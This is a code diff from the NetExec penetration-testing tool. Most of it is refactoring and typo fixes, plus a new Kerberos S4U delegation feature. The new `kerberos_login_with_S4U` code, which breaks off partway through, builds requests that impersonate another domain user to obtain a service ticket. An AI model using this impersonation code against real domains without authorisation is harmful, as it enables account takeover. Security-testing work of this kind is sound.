Merge branch 'develop' into neff-bh-pc
commit
4f7264312f
|
@ -30,7 +30,7 @@ If applicable, add screenshots to help explain your problem.
|
|||
|
||||
**NetExec info**
|
||||
- OS: [e.g. Kali]
|
||||
- Version of nxc [e.g. v1.5.2]
|
||||
- Version of nxc: [e.g. v1.5.2]
|
||||
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
|
||||
|
||||
**Additional context**
|
||||
|
|
|
@ -1,12 +1,10 @@
|
|||
import random
|
||||
import socket
|
||||
from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME
|
||||
from socket import getaddrinfo
|
||||
from os.path import isfile
|
||||
from threading import BoundedSemaphore
|
||||
from functools import wraps
|
||||
from time import sleep
|
||||
from ipaddress import ip_address
|
||||
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
|
@ -22,15 +20,22 @@ user_failed_logins = {}
|
|||
|
||||
|
||||
def gethost_addrinfo(hostname):
|
||||
try:
|
||||
for res in getaddrinfo(hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, socktype, proto, canonname, sa = res
|
||||
host = canonname if ip_address(sa[0]).is_link_local else sa[0]
|
||||
except socket.gaierror:
|
||||
for res in getaddrinfo(hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, socktype, proto, canonname, sa = res
|
||||
host = sa[0] if sa[0] else canonname
|
||||
return host
|
||||
is_ipv6 = False
|
||||
is_link_local_ipv6 = False
|
||||
address_info = {"AF_INET6": "", "AF_INET": ""}
|
||||
|
||||
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, _, _, canonname, sa = res
|
||||
address_info[af.name] = sa[0]
|
||||
|
||||
# IPv4 preferred
|
||||
if address_info["AF_INET"]:
|
||||
host = address_info["AF_INET"]
|
||||
else:
|
||||
is_ipv6 = True
|
||||
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
|
||||
|
||||
return host, is_ipv6, is_link_local_ipv6
|
||||
|
||||
|
||||
def requires_admin(func):
|
||||
|
@ -78,6 +83,7 @@ class connection:
|
|||
self.args = args
|
||||
self.db = db
|
||||
self.hostname = host
|
||||
self.port = self.args.port
|
||||
self.conn = None
|
||||
self.admin_privs = False
|
||||
self.password = ""
|
||||
|
@ -91,10 +97,10 @@ class connection:
|
|||
self.logger = nxc_logger
|
||||
|
||||
try:
|
||||
self.host = gethost_addrinfo(self.hostname)
|
||||
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
|
||||
if self.args.kerberos:
|
||||
self.host = self.hostname
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={ 'True' if self.args.kerberos else 'False' }")
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
except Exception as e:
|
||||
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
|
||||
return
|
||||
|
@ -389,7 +395,8 @@ class connection:
|
|||
return False
|
||||
if self.args.continue_on_success and owned:
|
||||
return False
|
||||
|
||||
if hasattr(self.args, "delegate") and self.args.delegate:
|
||||
self.args.kerberos = True
|
||||
with sem:
|
||||
if cred_type == "plaintext":
|
||||
if self.args.kerberos:
|
||||
|
|
|
@ -42,25 +42,25 @@ def add_user_bh(user, domain, logger, config):
|
|||
try:
|
||||
with driver.session().begin_transaction() as tx:
|
||||
for info in users_owned:
|
||||
distinguished_name = "".join(["DC=" + dc + "," for dc in info["domain"].split(".")]).rstrip(",")
|
||||
domain_query = tx.run(f'MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH "{distinguished_name}" RETURN d').data()
|
||||
distinguished_name = "".join([f"DC={dc}," for dc in info["domain"].split(".")]).rstrip(",")
|
||||
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
|
||||
if not domain_query:
|
||||
raise Exception("Domain not found in bloodhound")
|
||||
else:
|
||||
domain = domain_query[0]["d"].get("name")
|
||||
|
||||
if info["username"][-1] == "$":
|
||||
user_owned = info["username"][:-1] + "." + domain
|
||||
user_owned = f"{info['username'][:-1]}.{domain}"
|
||||
account_type = "Computer"
|
||||
else:
|
||||
user_owned = info["username"] + "@" + domain
|
||||
user_owned = f"{info['username']}@{domain}"
|
||||
account_type = "User"
|
||||
|
||||
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c")
|
||||
|
||||
if result.data()[0]["c"].get("owned") in (False, None):
|
||||
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
|
||||
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
|
||||
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
|
||||
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
|
||||
except AuthError:
|
||||
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
|
||||
|
|
|
@ -197,7 +197,7 @@ class NXCModule:
|
|||
"""
|
||||
|
||||
name = "daclread"
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options."
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be careful, this module cannot read the DACLS recursively, more explains in the options."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
@ -208,11 +208,11 @@ class NXCModule:
|
|||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be carefull, this module cannot read the DACLS recursively.
|
||||
Be careful, this module cannot read the DACLS recursively.
|
||||
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
|
||||
|
||||
TARGET The objects that we want to read or backup the DACLs, sepcified by its SamAccountName
|
||||
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (usefull to target the domain itself)
|
||||
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
|
||||
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (useful to target the domain itself)
|
||||
PRINCIPAL The trustee that we want to filter on
|
||||
ACTION The action to realise on the DACL (read, backup)
|
||||
ACE_TYPE The type of ACE to read (Allowed or Denied)
|
||||
|
@ -271,8 +271,8 @@ class NXCModule:
|
|||
self.filename = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be carefull, this module cannot read the DACLS recursively.")
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldapConnection._baseDN
|
||||
self.ldap_session = connection.ldapConnection
|
||||
|
||||
|
@ -292,7 +292,7 @@ class NXCModule:
|
|||
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
|
||||
sys.exit(1)
|
||||
|
||||
# Searching for the targets SID and their Security Decriptors
|
||||
# Searching for the targets SID and their Security Descriptors
|
||||
# If there is only one target
|
||||
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
|
||||
# Searching for target account with its security descriptor
|
||||
|
@ -383,7 +383,7 @@ class NXCModule:
|
|||
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
|
||||
sys.exit(0)
|
||||
|
||||
# Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName
|
||||
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
|
||||
# Not used for the moment
|
||||
# - samname : a sAMAccountName
|
||||
def get_user_info(self, context, samname):
|
||||
|
|
|
@ -39,9 +39,9 @@ class NXCModule:
|
|||
# These are for more critical error handling
|
||||
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
|
||||
try:
|
||||
raise Exception("Exception that might occure")
|
||||
raise Exception("Exception that might have occurred")
|
||||
except Exception as e:
|
||||
context.log.exception(f"Exception occured: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
|
||||
context.log.exception(f"Exception occurred: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
"""Concurrent.
|
||||
|
|
|
@ -74,7 +74,7 @@ class NXCModule:
|
|||
USER Targeted user running KeePass, used to restart the appropriate process
|
||||
(used by RESTART action)
|
||||
|
||||
EXPORT_NAME Name fo the database export file, default: export.xml
|
||||
EXPORT_NAME Name of the database export file, default: export.xml
|
||||
EXPORT_PATH Path where to export the KeePass database in cleartext
|
||||
default: C:\\Users\\Public, %APPDATA% works well too for user permissions
|
||||
|
||||
|
|
|
@ -54,10 +54,10 @@ class NXCModule:
|
|||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that and
|
||||
# LDAPS bind has without channel binding supported has occured,
|
||||
# LDAPS bind has without channel binding supported has occurred,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error recieved from the bind attempt.
|
||||
# error received from the bind attempt.
|
||||
async def run_ldaps_withEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
|
|
|
@ -52,7 +52,7 @@ def new_record(rtype, serial):
|
|||
nr["Type"] = rtype
|
||||
nr["Serial"] = serial
|
||||
nr["TtlSeconds"] = 180
|
||||
# From authoritive zone
|
||||
# From authoritative zone
|
||||
nr["Rank"] = 240
|
||||
return nr
|
||||
|
||||
|
|
|
@ -56,7 +56,7 @@ class NXCModule:
|
|||
connection.hash,
|
||||
self.logger,
|
||||
connection.args.get_output_tries,
|
||||
"C$", # This one shouldn't be hardcoded but I don't know where to retrive the info
|
||||
"C$", # This one shouldn't be hardcoded but I don't know where to retrieve the info
|
||||
)
|
||||
|
||||
self.logger.display(f"Executing {self.cmd} as {self.user}")
|
||||
|
@ -66,7 +66,7 @@ class NXCModule:
|
|||
if not isinstance(output, str):
|
||||
output = output.decode(connection.args.codec)
|
||||
except UnicodeDecodeError:
|
||||
# Required to decode specific french caracters otherwise it'll print b"<result>"
|
||||
# Required to decode specific French characters otherwise it'll print b"<result>"
|
||||
output = output.decode("cp437")
|
||||
if output:
|
||||
self.logger.highlight(output)
|
||||
|
|
|
@ -44,7 +44,7 @@ class NXCModule:
|
|||
if row is None:
|
||||
context.log.fail("No " + name + " present in Microsoft Teams Cookies database")
|
||||
else:
|
||||
context.log.success("Succesfully extracted " + name + ": ")
|
||||
context.log.success("Successfully extracted " + name + ": ")
|
||||
context.log.success(row[0])
|
||||
conn.close()
|
||||
except Exception as e:
|
||||
|
|
|
@ -28,10 +28,10 @@ class NXCModule:
|
|||
def options(self, context, module_options):
|
||||
"""
|
||||
LDAP_FILTER Custom LDAP search filter (fully replaces the default search)
|
||||
DESC_FILTER An additional seach filter for descriptions (supports wildcard *)
|
||||
DESC_INVERT An additional seach filter for descriptions (shows non matching)
|
||||
USER_FILTER An additional seach filter for usernames (supports wildcard *)
|
||||
USER_INVERT An additional seach filter for usernames (shows non matching)
|
||||
DESC_FILTER An additional search filter for descriptions (supports wildcard *)
|
||||
DESC_INVERT An additional search filter for descriptions (shows non matching)
|
||||
USER_FILTER An additional search filter for usernames (supports wildcard *)
|
||||
USER_INVERT An additional search filter for usernames (shows non matching)
|
||||
KEYWORDS Use a custom set of keywords (comma separated)
|
||||
ADD_KEYWORDS Add additional keywords to the default set (comma separated)
|
||||
"""
|
||||
|
|
|
@ -26,7 +26,7 @@ from rich.progress import Progress
|
|||
import platform
|
||||
|
||||
# Increase file_limit to prevent error "Too many open files"
|
||||
if platform != "Windows":
|
||||
if platform.system() != "Windows":
|
||||
import resource
|
||||
|
||||
file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE))
|
||||
|
|
|
@ -17,7 +17,7 @@ class ftp(connection):
|
|||
extra={
|
||||
"protocol": "FTP",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
@ -41,7 +41,7 @@ class ftp(connection):
|
|||
def create_conn_obj(self):
|
||||
self.conn = FTP()
|
||||
try:
|
||||
self.conn.connect(host=self.host, port=self.args.port)
|
||||
self.conn.connect(host=self.host, port=self.port)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error connecting to FTP host: {e}")
|
||||
return False
|
||||
|
@ -61,8 +61,8 @@ class ftp(connection):
|
|||
|
||||
# 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
|
||||
if "230" in resp:
|
||||
self.logger.debug(f"Host: {self.host} Port: {self.args.port}")
|
||||
self.db.add_host(self.host, self.args.port, self.remote_version)
|
||||
self.logger.debug(f"Host: {self.host} Port: {self.port}")
|
||||
self.db.add_host(self.host, self.port, self.remote_version)
|
||||
|
||||
cred_id = self.db.add_credential(username, password)
|
||||
|
||||
|
|
|
@ -154,14 +154,14 @@ class ldap(connection):
|
|||
extra={
|
||||
"protocol": "LDAP",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
||||
def get_ldap_info(self, host):
|
||||
try:
|
||||
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{host}"
|
||||
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
|
||||
try:
|
||||
|
@ -349,7 +349,7 @@ class ldap(connection):
|
|||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
|
||||
|
@ -374,7 +374,7 @@ class ldap(connection):
|
|||
|
||||
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
|
@ -476,7 +476,7 @@ class ldap(connection):
|
|||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
|
||||
|
@ -487,7 +487,7 @@ class ldap(connection):
|
|||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
|
@ -571,7 +571,7 @@ class ldap(connection):
|
|||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
|
||||
proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
|
@ -581,7 +581,7 @@ class ldap(connection):
|
|||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
|
||||
self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
|
@ -1331,7 +1331,7 @@ class ldap(connection):
|
|||
self.logger.highlight("Using kerberos auth from ccache")
|
||||
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_"
|
||||
bloodhound = BloodHound(ad, self.hostname, self.host, self.args.port)
|
||||
bloodhound = BloodHound(ad, self.hostname, self.host, self.port)
|
||||
bloodhound.connect()
|
||||
|
||||
bloodhound.run(
|
||||
|
|
|
@ -52,7 +52,7 @@ class mssql(connection):
|
|||
extra={
|
||||
"protocol": "MSSQL",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"port": self.port,
|
||||
"hostname": "None",
|
||||
}
|
||||
)
|
||||
|
@ -112,7 +112,7 @@ class mssql(connection):
|
|||
|
||||
def create_conn_obj(self):
|
||||
try:
|
||||
self.conn = tds.MSSQL(self.host, self.args.port)
|
||||
self.conn = tds.MSSQL(self.host, self.port)
|
||||
self.conn.connect()
|
||||
except OSError as e:
|
||||
self.logger.debug(f"Error connecting to MSSQL: {e}")
|
||||
|
|
|
@ -91,7 +91,7 @@ class rdp(connection):
|
|||
extra={
|
||||
"protocol": "RDP",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
@ -105,7 +105,7 @@ class rdp(connection):
|
|||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.args.port, timeout=self.args.rdp_timeout)
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
|
||||
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
|
||||
|
||||
self.check_nla()
|
||||
|
@ -147,7 +147,7 @@ class rdp(connection):
|
|||
self.target = RDPTarget(
|
||||
ip=self.host,
|
||||
hostname=self.hostname,
|
||||
port=self.args.port,
|
||||
port=self.port,
|
||||
domain=self.domain,
|
||||
dc_ip=self.domain,
|
||||
timeout=self.args.rdp_timeout,
|
||||
|
|
|
@ -23,7 +23,8 @@ from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
|
|||
from impacket.dcerpc.v5.samr import SID_NAME_USE
|
||||
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
|
||||
from impacket.krb5.kerberosv5 import SessionKeyDecryptionError
|
||||
from impacket.krb5.types import KerberosException
|
||||
from impacket.krb5.types import KerberosException, Principal
|
||||
from impacket.krb5 import constants
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
|
||||
|
@ -33,6 +34,7 @@ from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
|
|||
from nxc.helpers.misc import gen_random_string, validate_ntlm
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.protocols.smb.firefox import FirefoxTriage
|
||||
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U
|
||||
from nxc.servers.smb import NXCSMBServer
|
||||
from nxc.protocols.smb.wmiexec import WMIEXEC
|
||||
from nxc.protocols.smb.atexec import TSCH_EXEC
|
||||
|
@ -169,7 +171,7 @@ class smb(connection):
|
|||
extra={
|
||||
"protocol": "SMB",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"port": self.port,
|
||||
"hostname": self.hostname,
|
||||
}
|
||||
)
|
||||
|
@ -382,22 +384,32 @@ class smb(connection):
|
|||
kerb_pass = ""
|
||||
self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
|
||||
|
||||
self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache)
|
||||
tgs = None
|
||||
if self.args.delegate:
|
||||
kerb_pass = ""
|
||||
self.username = self.args.delegate
|
||||
serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
|
||||
tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
|
||||
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
|
||||
|
||||
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
|
||||
self.check_if_admin()
|
||||
|
||||
if username == "":
|
||||
self.username = self.conn.getCredentials()[0]
|
||||
else:
|
||||
elif not self.args.delegate:
|
||||
self.username = username
|
||||
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
if self.args.delegate:
|
||||
used_ccache = f" through S4U with {username}"
|
||||
else:
|
||||
self.plaintext_login(self.hostname, username, password)
|
||||
return True
|
||||
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and not self.args.delegate:
|
||||
add_user_bh(self.username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
@ -406,6 +418,7 @@ class smb(connection):
|
|||
if self.args.continue_on_success and self.signing:
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.logoff()
|
||||
|
||||
self.create_conn_obj()
|
||||
|
||||
return True
|
||||
|
@ -421,10 +434,14 @@ class smb(connection):
|
|||
return False
|
||||
except OSError as e:
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
if self.args.delegate:
|
||||
used_ccache = f" through S4U with {username}"
|
||||
self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}")
|
||||
except (SessionError, Exception) as e:
|
||||
error, desc = e.getErrorString()
|
||||
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
|
||||
if self.args.delegate:
|
||||
used_ccache = f" through S4U with {username}"
|
||||
self.logger.fail(
|
||||
f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}",
|
||||
color="magenta" if error in smb_error_status else "red",
|
||||
|
@ -569,7 +586,7 @@ class smb(connection):
|
|||
kdc if kdc else self.host,
|
||||
kdc if kdc else self.host,
|
||||
None,
|
||||
self.args.port,
|
||||
self.port,
|
||||
preferredDialect=SMB_DIALECT,
|
||||
timeout=self.args.smb_timeout,
|
||||
)
|
||||
|
@ -590,7 +607,7 @@ class smb(connection):
|
|||
kdc if kdc else self.host,
|
||||
kdc if kdc else self.host,
|
||||
None,
|
||||
self.args.port,
|
||||
self.port,
|
||||
timeout=self.args.smb_timeout,
|
||||
)
|
||||
self.smbv1 = False
|
||||
|
@ -722,7 +739,7 @@ class smb(connection):
|
|||
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
||||
self.smb_share_name,
|
||||
self.conn,
|
||||
self.args.port,
|
||||
self.port,
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
|
@ -731,7 +748,7 @@ class smb(connection):
|
|||
self.kdcHost,
|
||||
self.hash,
|
||||
self.args.share,
|
||||
self.args.port,
|
||||
self.port,
|
||||
self.logger,
|
||||
self.args.get_output_tries
|
||||
)
|
||||
|
@ -1243,12 +1260,12 @@ class smb(connection):
|
|||
|
||||
try:
|
||||
full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
|
||||
string_binding = KNOWN_PROTOCOLS[self.args.port]["bindstr"]
|
||||
string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
|
||||
logging.debug(f"StringBinding {string_binding}")
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.set_dport(self.args.port)
|
||||
rpc_transport.set_dport(self.port)
|
||||
|
||||
if KNOWN_PROTOCOLS[self.args.port]["set_host"]:
|
||||
if KNOWN_PROTOCOLS[self.port]["set_host"]:
|
||||
rpc_transport.setRemoteHost(full_hostname)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
|
|
|
@ -0,0 +1,278 @@
|
|||
import datetime
|
||||
import struct
|
||||
import random
|
||||
from six import b
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
from pyasn1.type.univ import noValue
|
||||
|
||||
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, \
|
||||
seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart, \
|
||||
PA_PAC_OPTIONS
|
||||
from impacket.krb5.types import Principal, KerberosTime, Ticket
|
||||
from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5
|
||||
from impacket.krb5 import constants
|
||||
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False):
|
||||
my_tgt = None
|
||||
if use_cache:
|
||||
domain, _, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}")
|
||||
if my_tgt is None:
|
||||
raise
|
||||
my_tgt = tgt["KDC_REP"]
|
||||
cipher = tgt["cipher"]
|
||||
session_key = tgt["sessionKey"]
|
||||
if my_tgt is None:
|
||||
principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
nxc_logger.debug("Getting TGT for user")
|
||||
tgt, cipher, _, session_key = getKerberosTGT(principal, password, domain, lmhash, nthash, aesKey, kdcHost)
|
||||
my_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
decoded_tgt = my_tgt
|
||||
# Extract the ticket from the TGT
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decoded_tgt["ticket"])
|
||||
|
||||
ap_req = AP_REQ()
|
||||
ap_req["pvno"] = 5
|
||||
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = []
|
||||
ap_req["ap-options"] = constants.encodeFlags(opts)
|
||||
seq_set(ap_req, "ticket", ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = str(decoded_tgt["crealm"])
|
||||
|
||||
client_name = Principal()
|
||||
client_name.from_asn1(decoded_tgt, "crealm", "cname")
|
||||
|
||||
seq_set(authenticator, "cname", client_name.components_to_asn1)
|
||||
|
||||
now = datetime.datetime.utcnow()
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
|
||||
encoded_authenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 7
|
||||
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
|
||||
# TGS authenticator subkey), encrypted with the TGS session
|
||||
# key (Section 5.5.1)
|
||||
encrypted_encoded_authenticator = cipher.encrypt(session_key, 7, encoded_authenticator, None)
|
||||
|
||||
ap_req["authenticator"] = noValue
|
||||
ap_req["authenticator"]["etype"] = cipher.enctype
|
||||
ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator
|
||||
|
||||
encoded_ap_req = encoder.encode(ap_req)
|
||||
|
||||
tgs_req = TGS_REQ()
|
||||
|
||||
tgs_req["pvno"] = 5
|
||||
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
|
||||
tgs_req["padata"] = noValue
|
||||
tgs_req["padata"][0] = noValue
|
||||
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgs_req["padata"][0]["padata-value"] = encoded_ap_req
|
||||
|
||||
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
|
||||
# requests a service ticket to itself on behalf of a user. The user is
|
||||
# identified to the KDC by the user's name and realm.
|
||||
client_name = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
|
||||
s4u_byte_array = struct.pack("<I", constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
s4u_byte_array += b(impersonate) + b(domain) + b"Kerberos"
|
||||
|
||||
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
|
||||
